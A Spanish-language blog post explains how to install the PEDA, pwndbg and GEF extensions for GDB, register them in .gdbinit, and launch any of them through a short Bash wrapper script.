<p>Para ser honesto hay una realidad a mi modo de ver y es que usarla a “secas”, es decir, de base.. sin ningún tipo de complemento acompleja un poco el asunto y resulta algo ‘aburrido’ visualmente hablando, y eso puede ocasionar en algunas personas que no sea la mejor experiencia de usuario.</p>
<p>Es por eso que si bien existen varios posteos al respecto, voy a comentar y setear tres de los complementos más habituales para mi y que facilitan un montón el reversing y explotación de binarios.</p>
<h2 id="heading-descargando-e-instalando-complementos-para-gdb">Descargando e instalando complementos para gdb:</h2>
<p><em>En todo momento de descarga, estaré trabajando sobre el /home/user/</em></p>
<h2 id="heading-peda-python-exploit-development-assistance-for-gdb">PEDA | Python Exploit Development Assistance for GDB.</h2>
<p><strong>PEDA</strong> es una tool escrita en Python, que boostea y potencia ampliamente el uso de GDB. Entre una gran cantidad de comandos y funciones destaca por la capacidad de poder identificar patrones de datos en la memoria, útil para la detección de desbordamientos de búfer, facilita la visualización y análisis de registros del CPU y de la memoria del programa en ejecución. Permite desensamblar el código, rastrear instrucciones y establecer breakpoints de manera más sencilla. Ofrece una gran ayuda para el desarrollo de exploits.</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/longld/peda.git ~/.peda
</code></pre>
<h2 id="heading-pwndbg-debugging-with-a-python-module">Pwndbg | Debugging with a Python module.</h2>
<p>Del mismo modo y con algunas variantes interesantes, Pwndbg está diseñado para testeos y desarrollo de exploits. Incluye funciones para la búsqueda de gadgets ROP. Proporciona comandos específicos para analizar y explotar vulnerabilidades del tipo heap, como desbordamientos de chunks. Permite a los usuarios integrar sus propios scripts y automatizaciones personalizadas en la depuración. Permite la depuración remota de binarios en máquinas y sistemas remotos, lo que es útil en entornos donde se necesita depurar aplicaciones distribuidas.Y mucho mas..</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/pwndbg/pwndbg
<span class="hljs-built_in">cd</span> pwndbg
./setup.sh
<span class="hljs-built_in">cd</span> ..
mv pwndbg ~/.pwndbg-src
<span class="hljs-built_in">echo</span> <span class="hljs-string">"source ~/.pwndbg-src/gdbinit.py"</span> &gt; ~/.gdbinit_pwndbg
</code></pre>
<h2 id="heading-gef-gdb-enhanced-features">GEF | GDB Enhanced Features</h2>
<p>GEF es una extensión para GDB que añade comandos y características visuales para mejorar la experiencia de depuración. A diferencia de otras herramientas similares, GEF ofrece soporte para una amplia gama de arquitecturas, lo que lo hace útil tanto para el análisis de firmware en sistemas embebidos con procesadores MIPS o ARM como para la depuración estándar.</p>
<pre><code class="lang-bash">wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
</code></pre>
<h2 id="heading-editando-el-archivo-de-configuracion-gdbinit">Editando el archivo de configuración .gdbinit:</h2>
<p>El archivo <strong><em>.gdbinit</em></strong> es el archivo de configuración de GDB que permite personalizar y automatizar distintas opciones. Se puede incluir comandos y complementos para que se carguen automáticamente cada vez que iniciamos el debugger.</p>
<p>Considerando que ya descargamos los tres complementos mencionados vamos a configurar el <strong>.gdbinit</strong> del siguiente modo para que queden seteados (verifiquen bien si cambiaron paths o carpetas para evitar errores):</p>
<pre><code class="lang-bash">define init-peda
<span class="hljs-built_in">source</span> ~/.peda/peda.py
end
document init-peda
Initializes the PEDA (Python Exploit Development Assistant <span class="hljs-keyword">for</span> GDB) framework
end

define init-pwndbg
<span class="hljs-built_in">source</span> ~/.gdbinit_pwndbg
end
document init-pwndbg
Initializes PwnDBG
end

define init-gef
<span class="hljs-built_in">source</span> ~/.gdbinit-gef.py
end
document init-gef
Initializes GEF (GDB Enhanced Features)
end
</code></pre>
<h2 id="heading-ya-casi-creamos-un-script-para-ejecutarlo-con-el-complemento-deseado">Ya casi!. Creamos un script para ejecutarlo con el complemento deseado.</h2>
<p>Bueno por ultimo, procedo a crear un script en el path <strong>/home/user/.local/bin/</strong> en mi caso, este script me permite tomar alguno de los 3 argumentos.. <strong>[gef|peda|pwndbg]</strong>. Al archivo le puse <strong>“mygdb”</strong>, ustedes pongan el que gusten.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># powered by &lt;shkz&gt;</span>

<span class="hljs-comment"># Check args</span>
<span class="hljs-keyword">if</span> [ <span class="hljs-variable">$#</span> -lt 2 ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Usage: <span class="hljs-variable">$0</span> [gef|peda|pwndbg] /path/of/binary"</span>
    <span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>

<span class="hljs-comment"># Checking only valid arg</span>
<span class="hljs-keyword">if</span> [ <span class="hljs-string">"<span class="hljs-variable">$1</span>"</span> != <span class="hljs-string">"gef"</span> ] &amp;&amp; [ <span class="hljs-string">"<span class="hljs-variable">$1</span>"</span> != <span class="hljs-string">"peda"</span> ] &amp;&amp; [ <span class="hljs-string">"<span class="hljs-variable">$1</span>"</span> != <span class="hljs-string">"pwndbg"</span> ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Invalid option. Type: 'gef', 'peda' or 'pwndbg'."</span>
    <span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>

<span class="hljs-comment"># Check file</span>
<span class="hljs-keyword">if</span> [ ! -f <span class="hljs-string">"<span class="hljs-variable">$2</span>"</span> ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Binary file does not exist: <span class="hljs-variable">$2</span>"</span>
    <span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>

<span class="hljs-comment"># gdb + plugin from .gdbinit</span>
gdb -q -ex <span class="hljs-string">"init-<span class="hljs-variable">$1</span>"</span> --args <span class="hljs-string">"<span class="hljs-variable">$2</span>"</span>
</code></pre>
<p>Parte de este contenido lo adapte del original <a target="_blank" href="https://infosecwriteups.com/pwndbg-gef-peda-one-for-all-and-all-for-one-714d71bf36b8">https://infosecwriteups.com/pwndbg-gef-peda-one-for-all-and-all-for-one-714d71bf36b8</a>, pero con algunos cambios:</p>
<ul>
<li><p>En el original el autor crea <strong>3</strong> scripts en <strong>/usr/bin/</strong> lo cual se vuelve repetitivo inecesariamente.</p>
</li>
<li><p>Además ese path requiere permisos de <strong>root</strong>, por ende cree un único archivo localizado en <strong>/home/user/.local/bin</strong> con permisos de usuario.</p>
</li>
<li><p>Codie solo 1 archivo en Bash-Script que toma uno de los 3 argumentos (complementos) instalados. Seguramente se pueda mejorar, o simplificar, pero funciona ;D</p>
</li>
</ul>
]]></content:encoded></item></channel></rss>